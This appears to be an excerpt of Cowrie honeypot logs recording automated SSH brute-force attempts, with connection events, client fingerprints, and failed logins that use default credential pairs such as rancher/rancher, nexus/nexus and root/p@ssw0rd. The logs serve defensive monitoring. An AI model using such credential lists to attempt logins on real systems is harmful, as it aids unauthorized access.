{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:22.615058Z","src_ip":"95.38.165.118","session":"ec6e1e630254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:24.552839Z","src_ip":"95.38.165.118","session":"ec6e1e630254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:26.058277Z","src_ip":"95.38.165.118","session":"ec6e1e630254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.70314168930054,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:26.457579Z","src_ip":"69.4.83.194","session":"7e7ac666053c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46656,"dst_ip":"10.17.0.5","dst_port":22,"session":"37bd0c7afcf0","protocol":"ssh","message":"New connection: 95.38.165.118:46656 (10.17.0.5:22) [session: 37bd0c7afcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:27.417707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:27.422963Z","src_ip":"95.38.165.118","session":"37bd0c7afcf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:27.585892Z","src_ip":"95.38.165.118","session":"37bd0c7afcf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:28.069382Z","src_ip":"95.38.165.118","session":"37bd0c7afcf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:29.347034Z","src_ip":"95.38.165.118","session":"37bd0c7afcf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46668,"dst_ip":"10.17.0.5","dst_port":22,"session":"c833451b2de1","protocol":"ssh","message":"New connection: 95.38.165.118:46668 (10.17.0.5:22) [session: c833451b2de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:32.476467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:32.481213Z","src_ip":"95.38.165.118","session":"c833451b2de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:32.652297Z","src_ip":"95.38.165.118","session":"c833451b2de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:33.573883Z","src_ip":"95.38.165.118","session":"c833451b2de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:35.143271Z","src_ip":"95.38.165.118","session":"c833451b2de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.14364838600159,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:35.362398Z","src_ip":"178.128.93.180","session":"f7563eeaa8e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55330,"dst_ip":"10.17.0.5","dst_port":22,"session":"862d563d0c2c","protocol":"ssh","message":"New connection: 95.38.165.118:55330 (10.17.0.5:22) [session: 862d563d0c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:37.981274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:37.986449Z","src_ip":"95.38.165.118","session":"862d563d0c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:38.154433Z","src_ip":"95.38.165.118","session":"862d563d0c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:38.645015Z","src_ip":"95.38.165.118","session":"862d563d0c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55500,"dst_ip":"159.203.135.109","dst_port":23,"session":"568995f741ed","protocol":"telnet","message":"New connection: 69.4.83.194:55500 (159.203.135.109:23) [session: 568995f741ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:39.297728Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:39.810368Z","src_ip":"95.38.165.118","session":"862d563d0c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55342,"dst_ip":"10.17.0.5","dst_port":22,"session":"c82de279ac80","protocol":"ssh","message":"New connection: 95.38.165.118:55342 (10.17.0.5:22) [session: c82de279ac80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:43.063215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:43.130368Z","src_ip":"95.38.165.118","session":"c82de279ac80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:43.257284Z","src_ip":"95.38.165.118","session":"c82de279ac80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:44.363686Z","src_ip":"95.38.165.118","session":"c82de279ac80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:45.956318Z","src_ip":"95.38.165.118","session":"c82de279ac80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.380696535110474,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:46.137470Z","src_ip":"165.22.57.101","session":"620616b0c148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37994,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2e2069b349d","protocol":"ssh","message":"New connection: 95.38.165.118:37994 (10.17.0.5:22) [session: a2e2069b349d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:47.950353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:47.963782Z","src_ip":"95.38.165.118","session":"a2e2069b349d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:48.125622Z","src_ip":"95.38.165.118","session":"a2e2069b349d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:49.396090Z","src_ip":"95.38.165.118","session":"a2e2069b349d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:50.558722Z","src_ip":"95.38.165.118","session":"a2e2069b349d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38002,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7f9709c9ceb","protocol":"ssh","message":"New connection: 95.38.165.118:38002 (10.17.0.5:22) [session: a7f9709c9ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:53.196216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:53.201368Z","src_ip":"95.38.165.118","session":"a7f9709c9ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:53.359549Z","src_ip":"95.38.165.118","session":"a7f9709c9ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:53.843633Z","src_ip":"95.38.165.118","session":"a7f9709c9ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:55.004537Z","src_ip":"95.38.165.118","session":"a7f9709c9ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43016,"dst_ip":"10.17.0.5","dst_port":22,"session":"59d8e10a07b0","protocol":"ssh","message":"New connection: 95.38.165.118:43016 (10.17.0.5:22) [session: 59d8e10a07b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:58.324711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:58.329936Z","src_ip":"95.38.165.118","session":"59d8e10a07b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:58.503092Z","src_ip":"95.38.165.118","session":"59d8e10a07b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:59.026852Z","src_ip":"95.38.165.118","session":"59d8e10a07b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:00.412203Z","src_ip":"95.38.165.118","session":"59d8e10a07b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43026,"dst_ip":"10.17.0.5","dst_port":22,"session":"8739ca145835","protocol":"ssh","message":"New connection: 95.38.165.118:43026 (10.17.0.5:22) [session: 8739ca145835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:03.503031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:03.509662Z","src_ip":"95.38.165.118","session":"8739ca145835","protocol":"ssh"}
